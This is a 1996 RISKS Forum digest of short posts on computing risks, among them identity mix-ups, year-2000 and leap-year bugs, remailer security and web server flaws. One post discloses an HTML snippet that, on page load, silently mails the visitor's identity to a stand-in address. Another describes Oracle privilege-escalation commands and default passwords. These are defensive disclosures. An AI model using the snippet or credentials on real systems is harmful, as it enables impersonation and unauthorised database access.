[1213] in RISKS Forum
RISKS DIGEST 17.88
daemon@ATHENA.MIT.EDU (RISKS List Owner)
Mon Mar 11 20:03:39 1996
From: RISKS List Owner <risko@csl.sri.com>
Date: Mon, 11 Mar 96 17:02:36 PST
To: risks@MIT.EDU
RISKS-LIST: Risks-Forum Digest Monday 11 March 1996 Volume 17 : Issue 88
FORUM ON RISKS TO THE PUBLIC IN COMPUTERS AND RELATED SYSTEMS (comp.risks)
ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator
***** See last item for further information, disclaimers, etc. *****
Contents:
The risks of being unrelated twins (Tony Melius)
Unluckiest lottery ``winner'' ever: risks of input errors (Christian Murphy)
Rail safety controlled by satellite (David Kennedy)
Yet another Trojan horse lurking in Netscape 2.0... (Jon Reeves)
Netscape's too-lenient syntax checking (Henry G. Baker)
Re: CIA & NSA run remailers (Raph Levien)
Locking the key inside (Arthur Marsh)
Backdoors, bugs, and Oracle [Identity withheld]
Over 10,000 sites running nonsecure versions of NCSA web server
(Mike Prettejohn)
Re: Teen convicted on mismatched metadata (Jack Campin)
Re: Teen convicted: a similar example (Joel Garry)
Signs of Intelligent Life (Mark Thorson)
Solving the year problem through 3979 [old style] (David desJardins)
Causes of leap-year difficulties (Jeff Mantei)
Re: bleep-year (F. Barry Mulligan, John Oram)
Time, days, and water (Chris J. Phoenix)
Year 2000 and Unix `struct tm' (Paul Eggert)
ABRIDGED info on RISKS (comp.risks)
----------------------------------------------------------------------
Date: Mon, 11 Mar 1996 18:04:48 AEST-
From: tonym@gil.com.au
Subject: The risks of being unrelated twins
The following article, accompanied by a photograph of the two women,
appeared in *The Sunday Mail* in Queensland, Australia, on March 10, 1996:
Hey, Belinda, meet Belinda
They could not look more at odds, but these two women are "twins" locked in
a bureaucratic nightmare. Banks, building societies, government agencies,
the Electoral Commission and even the local library cannot tell them apart.
When one went for a loan, the other found her credit cancelled. When one
enrolled in university she was offered the other's completed degree. Though
one is an Aborigine with melting dark eyes and curly brown hair and the
other a straight-haired, blue-eyed blonde, computers across Australia refuse
to accept they are not one and the same person.
The problem is not simply that they bear the identical name: Belinda Lee
Perry. Even more uncannily, B1 and B2 have the same date of birth January 7,
1969. The two Belindas stretch the bounds of mathematical probability.
Sports betting agency Centrebet figures the odds against such a biographical
collision are five million to one.
The first time blonde Belinda suspected she might have a double was back
when she was still in high school. A mix-up at the Medicare office had her
with a broken arm instead of an injured hand.
The next problem arose when blonde Belinda, who was born and raised at Caves
Beach near Newcastle in NSW, tried to claim social security benefits. The
CES [Commonwealth Employment Service] already had her on the books.
The following year the other Belinda joined the City of Sydney library and
suddenly her namesake found her library card cancelled because the computer
recognised only one Belinda Lee Perry. Blonde Belinda then had her name
struck off the electoral roll after the other Belinda changed address.
But brunette Belinda also had problems. She had applied for an Abstudy
(Aboriginal Studies) grant and was informed she already had an Austudy loan.
Later she was sent a bill for $3000. And blonde Belinda has been unable to
transfer her Visa card to another bank because of the "twin" mix-up. But,
despite the difficulties, the two women hit it off from the moment they met.
"It's like we're related," they both said.
[The risk? With an Australian population of around eighteen million, and
odds of one in five million, where is the *third* Belinda Lee Perry born
on January 7, 1969? TM]
Tony Melius tonym@gil.com.au azmel0@qed.qld.gov.au +61 18 872 592
------------------------------
Date: Mon, 11 Mar 1996 20:29:23 +0100
From: Christian Murphy <cpm@salmon.muc.de>
Subject: Unluckiest lottery ``winner'' ever: risks of input errors
I read somewhere that the chances of winning the lottery are the same
whether you enter or not. According to a report in the Irish Times
(February the 24th -- I get mine sent to me in Munich) a man is suing the
National Lottery for payment of 250 000 Irish pounds (nearly 400 000 US
dollars) because his winning lotto panel was not entered into the system.
The man submitted 32 panels of numbers, but one of the panels was entered
twice, so the winning panel was left out. He has little chance of winning
his case, as each lotto receipt bears the warning "Before leaving the Lotto
agent's premises, check the numbers on your tickets..."
The risk? People forget that the probability of the agent miskeying your
numbers is much greater than the probability of winning the lottery, even
(especially?) if you submit 32 panels at once. The best way to avoid the
risk is not to play, of course. I'm waiting patiently for a (misaddressed)
lotto cheque to drop in my mail box any day now...
------------------------------
Date: 11 Mar 96 01:17:28 EST
From: 76702.3557@compuserve.com (David Kennedy, NCSA SysOp)
Subject: Rail safety controlled by satellite
[PGN Abstracting of an AP article, Courtesy of Associated Press and
CompuServe's Executive News Service:]
Use of the Air Force's satellite-aided navigation system is being proposed
for keeping track of trains throughout the U.S. The system would sound
warnings to train engineers if inter-train distances were too small, and
would actively cause trains to slow down or stop if it anticipated an
imminent collision. `Because the satellite would establish locations with
greater accuracy, trains could travel faster and closer to one another than
the widely varying guidelines being used today.'
``Before making a commitment to something like this, you really have to make
sure it works,'' said Tom White, spokesman for the American Association of
Railroads.
[Who is YOU, White-man?
Wow, the potential risks here are fascinating,
but beyond the scope of my habitual interstitiation.
This is intended not to prompt further discussion here,
but rather to alert you all to this possibility. PGN]
------------------------------
Date: Mon, 11 Mar 1996 13:41:04 -0500
From: Jon Reeves <reeves@zk3.dec.com>
Subject: Yet another Trojan horse lurking in Netscape 2.0...
I noticed, while loading a web page, that there was a mailto: URL active
(using the "Easter Egg" Ctrl-Alt-T popup to see active URLs). Sure enough,
after I cancelled that and examined the source, I saw something like this:
<body onLoad="document.mailme.submit()">
<form method=post name="mailme" action="mailto:nasty@secret.org?subject=gotcha">
<input type=hidden name="hi" value="there">
</form>
A quick test on my local machine shows that this will send a message to
nasty@secret.org with the subject gotcha and the body "hi=there".
This is insidious; it means that E-mail messages, purportedly from me (and
all traces will show they really are from me) can be sent anywhere, without
my knowledge, with contents that I do not approve. Further, it means that I
can no longer count on browsing a site without my userid being disclosed.
Unlike Java, there is no way to disable this. [Also been submitted to
Netscape.]
------------------------------
Date: Sat, 9 Mar 1996 07:51:22 -0800 (PST)
From: hbaker@netcom.com (Henry G. Baker)
Subject: Netscape's too-lenient syntax checking
> From: [webmaster @ affected site]
> RE: Re: [site name deleted] Web Link
> From [frustrated web site visitor]
> > The main link to [site name deleted] doesn't
> > work through 'lynx' because the html is not
> > correct. The '<a href...' for the [...]
> > link is never terminated with '</a>', so that
> > the [site name deleted] link won't work.
> > Could you please look at this problem, and
> > send me a message when it is fixed.
> > Thanks very much.
>
> Thanks for the input. The mistake was never noticed before because the
> Netscape browsers are smart enough to detect the error and deal with it.
> Lynx, however, is not. The problem is fixed, although I don't recommend
> looking at the site with anything but Netscape 1.1N and higher. We
> incorporate too many of Netscape's features to make viewing these pages
> without it useful.
I have nothing against Netscape trying to be smart, but the very
sloppiness that makes it behave reasonably for unreasonable input
leads web page designers to believe that their web pages have been
debugged if they work correctly on Netscape. Perhaps Netscape should
have a `careful' mode for helping web page maintainers to provide
`squeaky clean' pages.
I have found numerous web page problems with Lynx in this way, and
when informed of these problems, some web page maintainers have been
downright snotty in their responses. Their attitude seems to be `it
serves you right for not using a graphical browser like Netscape'.
Perhaps the web site designers should wake up to the fact that most of
the sophisticated web surfers that I know either use an ascii browser
like Lynx, or turn off image loading when surfing, because they actually
want to visit more than one web site per day. All those pretty 4-color
_buttons_ (??) that they use look good for _one_ visit, and thereafter
become the source of a lot of irritation due to slow page loading.
Henry Baker www/ftp directory: ftp.netcom.com:/pub/hb/hbaker/home.html
------------------------------
Date: Mon, 11 Mar 1996 13:42:55 -0800
From: Raph Levien <raph@kiwi.cs.berkeley.edu>
Subject: Re: CIA & NSA run remailers (Mayer-Schoenberger, RISKS-17.87)
As the maintainer of a remailer-list, I felt I should respond to this.
Strassmann and Marlow have lately been getting quite a bit of press
spreading anti-remailer fear, uncertainty and doubt. Almost all of it is
inaccurate.
It is certainly possible that governments are running remailers.
Personally, I tend to doubt it, but that's just because I know most of the
remailer operators. Even if governments were running remailers, the use of a
chain of remailers, rather than just one, protects against compromise of
identity even if one or more remailers are compromised. It suffices that one
of the remailers in the chain is honest.
It certainly isn't the case that the most popular remailers in France and
Germany are run by government agencies. Maybe if there were remailers in
these countries, they would be, but there aren't. There used to be one in
Germany, but it's no longer operating. There's never been one in France. If
there were, it would be quite illegal, due to the French crypto
restrictions.
The ability to crack 1000-bit keys would represent a major advance in
factoring technology. 1024-bit keys less than an order of magnitude more
effort to crack than 1000, so recommending them in face of 1000-bit keys
having been cracked is ridiculous.
The current record for factoring an RSA key is still RSA-129, which
is only about 428 bits. Advances in factoring are expected, but most
people figure 1000 bits is a long way away.
[... don't forget that if you can monitor and compare the incoming and
outgoing mail from an anonymous remailer, ... PGN]
Remailers come in three different grades of security, depending on how
sophisticated a client is used. Low grade remailers, including the popular
anon.penet.fi, are subject to simple comparison of incoming and outgoing
messages. So-called type-1 remailers use PGP encryption, so they are not
vulnerable to this attack, but can be analyzed by correlating the size of
incoming and outgoing messages. The Mixmaster remailers, by Lance Cottrell,
are based on David Chaum's original digital-mix theory, and can't be
size-correlated either.
I can't guarantee that the remailer network is secure, but I feel that
ease-of-use, reliability, and vulnerability to spamming are greater concerns
at this point. Not to mention misinformation.
Raph Levien
------------------------------
Date: Sun, 10 Mar 1996 05:14:53 +1030 (CST)
From: "Arthur Marsh" <arthur@dircsa.org.au>
Subject: Locking the key inside
Where I work, a security grille is opened and closed by means of a remote
control unit. As the grille can be closed by a short press of a button on
the remote control unit, it is quite possible to accidentally end up with
the operator on the outside of a closed security grille with the remote
control unit left locked inside. I did that yesterday morning.
For all the complexity of the situation, I had simply locked a "key" - the
remote control unit - inside the secured area.
After puzzling over the situation, I came up with the specific solution that
a remote control to close or lock a device shouldn't proceed to completion
unless the control is held on by the operator. (That kind of safeguard is
like not being able to lock something from outside without the key).
For the software analogy, imagine the situation when new bootstrap or
operating system code is loaded. If the new code fails to load or work for
any reason, there needs to be a means of booting from the old code.
In the software analogy the "key" is the bootstrap or operating system kernel
and code that make a computer, modem or other device work: one doesn't want
to let go of or throw away the old "key" until the new "key" is safely
written to non-volatile storage media and known to work. To allow the user to
delete the old code (especially inadvertently) without the new code working
is undesirable, yet some modems with user-upgradable firmware don't protect
the user against such behaviour. No doubt many RISKs readers have had similar
experiences with software upgrades of many kinds...
Arthur Marsh +61-8-370-2365 fax +61-8-223-5082 arthur@dircsa.org.au
------------------------------
Date: Sat, 9 Mar 96 18:13:05 CST
From: [Identity withheld by request]
Subject: Backdoors, bugs, and Oracle
On 22 Jun 1995, I reported a "flaw" with Oracle7 and its ALTER USER
instruction that enabled any userid beginning with "sys" to "ALTER USER SYS
IDENTIFIED BY <pw>", giving complete system permission to ordinary users.
Amazingly, the command would fail for any user except "sys". I sent a
notice to our Oracle contact and they fixed the problem in minutes (over the
phone). I discovered the problem in release 7.1.4 and it is no longer
present in 7.2.3.
When I upgraded to 7.2.3, I noticed another "feature" (new to me anyway)
"ALTER SESSION SET CURRENT_SCHEMA= <user>". It's a nifty little command
that allows you to change ids without a password (the import utility uses
it). Anyway, during a restore (disk failures), I noticed that any user
could use the "ALTER SESSION" instruction regardless of whether they had
been granted that privilege or not. I breathed a sigh of relief when it
seemed that "actual" authorities were enforced based upon the real userid.
Whew! But, it sure does make me wonder if I haven't looked hard enough.
This reminded me of the Oracle6 export utility and how it placed passwords
for database links in plaintext. Oracle 6 and 7 database files contain
plaintext strings. All of this is ok if you simply change the permissions
on files, directories, or file systems (as Oracle recommends). One other
thing that was a neat idea on Oracle's part, using a userid "scott" with the
password "tiger" to install the demos to. Unfortunately, I've seen too many
systems that either did not disable the account when finished, or that
actually gave total permissions to "scott". Ouch. There have even been a
few cases of the "system" password still being "manager" from the install.
I think Oracle has an excellent RDBMS. It performs quite well, and I've
survived many failures (knock on wood). I I haven't used anything else in a
while, so I relate only to Oracle. Anyway, the risks... With any large,
complex sets of software "bugs" might silently hide, backdoors can remain
undetected, and a whole lot is handled without any human intervention.
Oracle has had its share of bugs and they have been good about correcting it
in some way. The "backdoors" have implications that go beyond Oracle...
------------------------------
Date: 11 Mar 96 11:52:22 GMT
From: mhp@netcraft.co.uk (Mike Prettejohn)
Subject: Over 10,000 sites running nonsecure versions of NCSA web server
[Long message abstracted for RISKS by PGN:]
Netcraft collected the dataset for the March Web Server Survey over the
period 1-2 March. Among the sites responding, 10678 hosts were running
NCSA/1.3 or an earlier version of the NCSA server, known over a year ago to
have serious security flaws for which a patch was offered at that time;
.edu, .com, .gov, and .mil sites are among those using flawed versions.
Details of the problem, demo program, and recommendations, are available
<http://www.netcraft.com/security/http/ncsa13.html>.
The current versions of both NCSA and Apache are freely available, have log
file compatibility with NCSA/1.3, and -- so far as we are aware -- no one
has published details of security weaknesses in either.
Mike Prettejohn mhp@netcraft.co.uk Phone +44 1225 447500 Fax +44 1225 448600
Netcraft Rockfield House Granville Road Bath BA1 9BQ England
------------------------------
Date: Sat, 9 Mar 1996 14:23:10 +0000
From: Jack Campin <jack@purr.demon.co.uk>
Subject: Re: Teen convicted on mismatched metadata (Jewell, RISKS-17.87)
The problem wasn't simply due to the compact representation, but also to the
fact that the data required to interpret it was separated from the offence
record. An awesomely large-scale foulup of the same nature was reported
here a few years ago; the police in Paris did their routine mailing of
citations for traffic offences, where the decoding information was kept on a
separate magnetic tape. But this time someone had loaded the wrong tape;
one containing codes for serious criminal offences. The result was that
thousands of people charged with double parking or running red lights were
sent documents accusing them of kidnapping or attempted murder; along with
demands for payment of trivial fines. (One of the more popular charges was
"illegal handling of veterinary products", if I remember right).
Both examples are elementary failures of database design and management, and
there's been no excuse for them for 30-odd years. "Lack of redundancy" is
exactly what relational normalization is *for*, and if done right it can
only be beneficial.
jack@purr.demon.co.uk - Jack Campin, 2 Haddington Place, Edinburgh EH7 4AE
------------------------------
Date: Mon, 11 Mar 96 08:12:04 -0800
From: rossix!amber.dnet!joelga@openlink.one-o.com (Joel Garry)
Subject: Re: Teen convicted: a similar example (Jewell, RISKS-17.87)
Normalization is not bad design. It is good design, according to a
substantial body of relational database design literature. Basically, you
want to use the smallest non-ambiguous code set for internal storage, then
use those codes to reference a human readable display code. The risk is not
bad design, but rather inconsistent code definition across systems.
I have suffered from this as well. I received a ticket for riding a bicycle
in a no bike riding zone, that was explicitly _not_ supposed to affect my
driving record. It did, however, because the motor vehicle department
computers saw a non-recognized code propagated from the city computers, and
assumed it was something bad, rather than something innocuous or null. I
had to take several days off work and run around between various courthouses
to fix the problem. This shows the added risk of lost productivity due to
knowledgeable people being affected by stupid computer systems and
quixotically wanting to make the data good.
Chris also seems to have missed the obvious risk of fundamental systems
change over time. Even only 13 years of school records is enough time for
substantial change in record-keeping and perhaps even "good" systems design.
I hope people don't expect $200 Gigabyte disks to last decades.
Joel Garry joelga@rossinc.com
------------------------------
Date: Fri, 8 Mar 1996 20:52:54 -0800
From: eee@netcom.com (Mark Thorson)
Subject: Signs of Intelligent Life
The recent traffic about maintaining clock and calendar integrity led me to
speculate that one of the astronomical attributes we could use to determine
whether a distant solar system contained intelligent life would be if the
planet most likely to support life had a rotational period that was related
to its orbital period by an exact integer.
I mentioned this to a friend of mine who has spent considerable time
researching these issues, and he said it would be evidence of really stupid
intelligent life.
But I countered that maybe they just standardized on some stupid software
early in their history, and that it was easier to change the rotational
period of the planet than to change the software. :-)
Mark Thorson (eee@netcom.com)
------------------------------
Date: Mon, 11 Mar 1996 07:33:19 -0800
From: mantei@bbs.ug.eds.com (Jeff Mantei)
Subject: Causes of leap-year difficulties
Step back for a moment from the host of confusion seen around the leap year
issue. It seems that one root cause is the deceptive simplicity and
regularity of the ordinary calendar. Human nature seems to take regular
things for granted rather quickly. If it would be more complicated, more
often, people would probably be more cautious and get it right.
Generalizing, I see that many computer systems introduce the same kind of
risk in other domains. That is, they simplify and make many activities and
concepts more regular, but they can hide or postpone complexities and
exceptions. When those exceptions occur, then people are typically not
prepared to handle them.
But what's the alternative? Maybe it's enough to acknowledge the
possibly hidden costs of (over)simplifying a domain for computerization.
-Jeff Mantei
[Whoa! More-complicated algorithms also beget more disasters.
Oversimplified algorithms beget disasters. Modest algorithms
can beget disasters. That's why RISKS is here. PGN]
------------------------------
Date: 10 Mar 1996 23:12:31 -0500
From: desj@ccr-p.ida.org (David desJardins)
Subject: Solving the year problem through 3979 [old style]
Experts in ASCII already know how to solve the two-digit year problem:
designate the years following "1999" as "19:0", "19:1", and so on.
By the time we reach \255 in the `tens' position, 8-bit bytes will be a
thing of the past and we can just keep going.
All we've got to do is get the calendar makers on board, and we can
save the world $500 billion (or whatever the latest ridiculous
year-2000-reprogramming-price-quote is).
Hmm, maybe I should have patented this scheme, then I could sell it for
only $100 billion or so.
David desJardins
[David included a noncommercial reuse copyright notice in his posting.
The generic risks.info file (which no longer accompanies every issue, to
save space) says essentially the same thing, and so I normally truncate
all such copyright notices. In this case, the only important thing is
that no one else patents this wonderful idea and tries to charge David
for using it. I suppose hex-based folks may have already come up with a
scheme for postponing the problem for another 600 years by naming the
century years 1A00, 1B00, 1C00, ..., 1H00 following 1900, but I hope not.
PGN]
------------------------------
Date: Sat, 09 Mar 1996 03:17:57 -0600 (CDT)
From: MULLIGAN@ACM.ORG (F. Barry Mulligan)
Subject: Re: bleep-year (Tepper, RISKS-17.86)
May I suggest that the underlying problem with millennial and leap-year
software is a lack of incentive. Perhaps the major software firms could
mutually agree that stock options awarded during the next two years be
exercisable on, and only on, 29 Feb 2000. Care to guess what problem moves
to the top of every project's punch-list?
In the same vein, year-end bonuses should be payable only to employees
of record on 01 Jan 2000.
------------------------------
Date: Fri, 8 Mar 1996 16:47:27 -0800
From: oram@unixg.ubc.ca (John Oram)
Subject: Re: Bleep year (Tepper and Hadley, RISKS-17.86)
>Let's just leap from December 31, 1999 straight to January 1, 2001.
There is one bright spot concerning the misperceptions over the beginning of
the twenty-first century: two chances for a big party. Why risk missing the
true millenium? You had better hit both just to be sure.
And Max Hadley wrote:
>The rules for converting from a seconds count to a date and time are
>arbitrary, complex, and subject to change at short notice! ...
JavaScript uses a millisecond based system (since January 1, 1970). There
are built-in methods for converting between dates and milliseconds, but
there is an error in the Mac version - it is always a day ahead of the
result yielded by the Unix and Windows JavaScript date functions. (I am
fairly certain that this is a beta error and not a political statement. :)
And regardless of your accuracy, you must still deal with different date
formats. I am thinking of how today can be both 3/8/96 and 8/3/96,
depending on your position on the globe. (That's one hell of a time zone...)
John Oram
------------------------------
Date: Fri, 8 Mar 1996 18:04:59 -0800 (PST)
From: "Chris J. Phoenix" <cphoenix@CS.Stanford.EDU>
Subject: Time, days, and water
Fred Cohen wrote,
>The solution to the leap-<list goes here> challenge may be to become less
>obsessed with time ...
Computers do many useful tasks where precise timing is crucial. We may not
be obsessed with time, but deciding when to turn out a steel mold is still
something we can't afford to get wrong. (A previous comp.risks told of
daylight-savings time causing molten steel to be dumped on the floor.)
As long as time stamps on files are used for building programs, it will be
important for networked systems to be within a few seconds of each other.
The solution is to store time, and do comparison and computation, using
*only* the number of seconds from a fixed date. The length of a second is
one of the few time of day-related things that doesn't change.
"lucero" <lucero@optec.army.mil> referred to Earth's rotation speeding up
because of water stored in reservoirs, and mentioned an author in
Geophysical Research Letters claiming that "reservoirs are the only human
activity big enough to cause an appreciable change in these global
phenomena." This author has apparently forgotten about global warming. If,
as some predict, the ice caps melt enough to raise the sea level by several
feet, this will surely make more difference than reservoirs.
Chris Phoenix, cphoenix@leland.stanford.edu, 415-286-8581
------------------------------
Date: Mon, 11 Mar 1996 11:37:01 -0800
From: Paul Eggert <eggert@twinsun.com>
Subject: Year 2000 and Unix `struct tm' (Urlichs, RISKS-17.87)
In Risks 17.87, Matthias Urlichs writes about the Unix `struct tm'
date-time interface:
IMHO, if the library is changed to return a four-digit date
instead of modulo 100, not much will break
Actually, it would break a lot of programs, including CVS, Emacs,
gawk, expect, GCC, Ghostscript, INN, mh, perl, pine, RCS, and zoo
(I just checked).
There are in fact three things you can do:
[1] drop the modulus nonsense and return the year in full,
[2] just subtract 1900, so that the above algorithm continues to work,
[3] return % 100, as before.
There's only one thing to do for `struct tm', namely [2]. Unix has
done [2] since the 1970s, and the C Standard and Posix both require [2].
No doubt the original Unix developers should have chosen [1] twenty years ago,
but it would be unwise to change things at this late date.
------------------------------
Date: 27 February 1996 (LAST-MODIFIED)
From: RISKS-request@csl.sri.com
Subject: ABRIDGED info on RISKS (comp.risks)
The RISKS Forum is a moderated digest. Its USENET equivalent is comp.risks.
SUBSCRIPTIONS: PLEASE read RISKS as a newsgroup (comp.risks or equivalent) on
your system, if possible and convenient for you. BITNET folks may use a
LISTSERV (e.g., LISTSERV@UGA): SUBSCRIBE RISKS or UNSUBSCRIBE RISKS. [...]
DIRECT REQUESTS to <risks-request@csl.sri.com> (majordomo) with one-line,
SUBSCRIBE (or UNSUBSCRIBE) [with net address if different from FROM:]
INFO [for unabridged version of RISKS information]
CONTRIBUTIONS: to risks@csl.sri.com, with appropriate, substantive Subject:
line, otherwise they may be ignored. Must be relevant, sound, in good taste,
objective, cogent, coherent, concise, nonrepetitious, and without caveats
on distribution. Diversity is welcome, but not personal attacks. [...]
ALL CONTRIBUTIONS CONSIDERED AS PERSONAL COMMENTS; USUAL DISCLAIMERS APPLY.
By submitting an item that is accepted for publication in RISKS, the author
grants permission for unlimited noncommercial public distribution and
redistribution in electronic and print form. Relevant contributions may
appear in the RISKS section of regular issues of ACM SIGSOFT Software
Engineering Notes or SIGSAC Review.
RISKS can also be read on the web at URL http://catless.ncl.ac.uk/Risks
RISKS ARCHIVES: "ftp ftp.sri.com<CR>login anonymous<CR>[YourNetAddress]<CR>
cd risks<CR> or cwd risks<CR>, depending on your particular FTP. [...]
[Back issues are in the subdirectory corresponding to the volume number.]
Individual issues can be accessed using a URL of the form
http://catless.ncl.ac.uk/Risks/VL.IS.html [i.e., VoLume, ISsue]
ftp://ftp.sri.com/risks
PRIVACY: For info on the PRIVACY Forum Digest and Computer PRIVACY Digest,
see the unabridged INFO file at RISKS-Request (send one-line message INFO
to risks-request@CSL.sri.com as noted above).
------------------------------
End of RISKS-FORUM Digest 17.88
************************
